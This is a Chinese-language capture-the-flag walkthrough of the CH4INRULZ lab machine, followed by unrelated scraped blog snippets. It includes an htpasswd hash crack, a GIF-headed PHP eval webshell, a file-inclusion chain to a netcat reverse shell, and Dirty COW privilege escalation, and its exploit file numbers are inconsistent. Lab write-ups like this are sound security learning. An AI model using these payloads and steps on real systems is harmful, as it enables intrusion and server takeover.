靶机CH4INRULZ_v1.0.1
nmap开路。
root@kali:~# nmap -sP 192.168.1.*
//拿到靶机地址192.168.1.8
root@kali:~# nmap -p- -sS -v -sV 192.168.1.8
开放了四个端口,21号ftp端口,22号ssh端口,80和8011两个Web端口,在80端口下有一个个人简历的网站。
对80端口这个站用DirBuster进行目录扫描,访问developent目录需要账号密码,保留爆破的想法
接着用dirsearch扫文件,拿到一个index.html.bak备份文件。内容如下:
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0这一段是账号密码。
用John the Ripper破解到密码是frank!!!
账号密码登录
* Here is my unfinished tools list
- the uploader tool (finished but need security review)
//翻译:
*这是我未完成的工具清单
-上传器工具(已完成,但需要进行安全审查)
提示存在一个上传器工具
访问
http://192.168.1.8/development/uploader/
进入到上传器页面。
前面说了需要进行安全审查,那么应该是对我们上传的文件进行了过滤。直接上传php木马文件,看看允许哪些格式可以上传。
File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.
服务器会对文件后缀检查,加个图片头改成.gif格式可以上传
GIF89a
<script language="php">
echo eval($_POST[shell]);
phpinfo();
</script>
但是没有给到图片传到到服务器的路径。
到这好像就没有思路了。抓包改成php后缀不行,传木马图片但是没给解析路径连蚁剑。回顾一下前面的信息收集的过程,拿到了21,22,80,8011四个端口和80端口下扫出来的一些路径,接着对8011端口进行信息搜集。
dirbuster扫目录的时候拿到一个200状态码的api目录,访问一波
给了四个文件,只有files_api.php可以访问
No parameter called file passed to me
* Note : this API don't use json , so send the file name in raw format
没有名为file的参数传递给我
*注意:此API不使用json,因此以原始格式发送文件名
提示传个file参数。get传参提示WRONG INPUT !!。改用post传参直接显示我们要读取的文件。
从这个地方我们可以知道大概的思路就是找到我们上传的路径然后文件包含反弹一个shell。这里找文件上传的路径用到了apache的配置文件,自己又孤陋寡闻了,大师傅基础好扎实。
/etc/apache2/sites-enabled/000-default
结合php伪协议读取uploader.php里面的内容。
base64解密
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
这里可以看到是检查我们上传文件的源码,最重要的还是
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
那么我们上传的文件在FRANKuploads/下
那么我们再利用8011端口的文件包含漏洞去读取我们的木马图片看能否解析,包含成功
下面我们考虑怎么弹个shell回来。这里我们用到了kali里面自带的php-reverse-shell.php文件。路径是
/usr/share/webshells/php/php-reverse-shell.php
将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改成gif后缀上传
nc监听6666端口
nc -lvnp 6666
同时文件包含访问我们刚刚上传的那个用来反弹shell的文件。
成功拿到shell,
下面开始提权。查看内核版本
版本比较老,直接使用脏牛提权。将40838文件复制到当前目录
kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/40839.c ~
接着利用python开启一个简单的HTTP服务。
kali@kali:~$ python -m SimpleHTTPServer 8848
让靶机从kali上下载40839.cpp文件,但是提示不能写入,权限不够
查看各个目录的权限
我们将40839.cpp下载到/tmp目录下
编译执行,拿到用户名firefart输入新密码
提示密码修改成功
进入/root目录拿到flag。
总结
这是做的第四个靶机,对渗透测试的流程:信息收集-发现漏洞-漏洞利用-提权的感受更加的深刻。
先说信息收集和发现漏洞:nmap开路拿到四个端口,80和8011开放了Web服务,之后在扫80端口的目录时发现/development状态码是401需要密码认证,接着扫文件发现index.html.bak利用john爆破拿到账号密码,之后就是一个文件上传的功能,还是扫8011端口的目录发现文件包含漏洞。两者结合。其实重点在如何找到文件上传的路径。利用php伪协议拿到uploader.php的源码,上传的文件路径就明了了。
再说漏洞利用:这个靶机是利用文件上传配合文件包含漏洞来反弹一个shell的。知道了kali自带了一些反弹shell的脚本。
提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。
学到了哪些?
1、john的使用
2、利用kali自带脚本反弹shell
靶机CH4INRULZ_v1.0.1的更多相关文章
- 靶场渗透CH4INRULZ_v1.0.1
最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...
- 靶场vulnhub-CH4INRULZ_v1.0.1通关
1.CH4INRULZ_v1.0.1靶场通关 ch4inrulz是vulnhub下的基于Linux的一个靶场,作为练习之用 目的:通过各种手段,获取到靶机内的flag的内容 2.环境搭建: 攻击机 K ...
- MSF渗透测试-CVE-2017-11882(MSOffice漏洞)
1.测试环境 2.测试前准备 3.测试过程 -3.1虚拟机环境测试 -3.2局域网靶机测试 4.测试感想 1.测试环境 攻击机: OS:kail IP:192.168.15.132/192.168.1 ...
- ZAM 3D 制作简单的3D字幕 流程(二)
原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...
- ZAM 3D 制作3D动画字幕 用于Xaml导出
原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...
- 微信小程序省市区选择器对接数据库
前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...
- osg编译日志
1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...
- kali渗透综合靶机(十五)--Breach-1.0靶机
kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...
- kali渗透综合靶机(十三)--Dina 1.0靶机
kali渗透综合靶机(十三)--Dina 1.0靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate= ...
随机推荐
- 佛祖保佑永无BUG 神兽护体 代码注释(各种版本)
佛祖保佑 永无BUG /* _ooOoo_ o8888888o 88" . "88 (| -_- |) O\ = /O ____/`---'\____ .' \\| |// `. ...
- 时光卷轴,Microsoft大事记
Our mission is to empower every person and every organization on the planet to achieve more. 2021年6月 ...
- 10 一键部署LNMP网站平台
#!/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin NGINX_V=1.19.1 P ...
- Gym 100783C Golf Bot FFT
大致题意: 给你N个整数和M个整数,问这M个数中,有几个数可以表达成那N个整数中一个或者两个整数的和. 分析: 算是半个裸的FFT.FFT可以用来在nlongn时间内求高精度乘法,我们先模拟一下乘法. ...
- Python 绘制词云
文本内容:data(包含很多条文本) 1.分词: import jieba data_cut = data.apply(jieba.lcut) 2.去除停用词: stoplist.txt:链接:htt ...
- awk中printf的用法
printf函数 打印输出时,可能需要指定字段间的空格数,从而把列排整齐.在print函数中使用制表符并不能保证得到想要的输出,因此,可以用printf函数来格式化特别的输出. printf函数返 ...
- Java实验项目三——平面图形和立体图形抽象类
Program:按照下面要求完成类的设计 (1)设计一个平面图形抽象类和一个立体图形抽象类,提供该类对象公共的方法和属性. (2)修改项目三中第2题中所设计的球类.圆柱类,圆锥类.矩形类.三角形类.圆 ...
- 深入理解Java并发容器——ConcurrentHashMap
目录 重要属性和类 put 为什么java8后放弃分段锁,改用CAS和同步锁 初始化 addCount 扩容 树化 参考 重要属性和类 sizeCtl 容量控制标识符,在不同的地方有不同用途,而且它的 ...
- C语言:随机抽奖
#include <stdio.h> #include <stdlib.h> //<stdlib.h>用于调用 rand(), #include <time. ...
- python 读取 写入txt文件
filename = 'pi_digits.txt' with open(filename) as f:#默认以只读方式打开文件 lines = f.readlines()#读取所有行,结果为列表,每 ...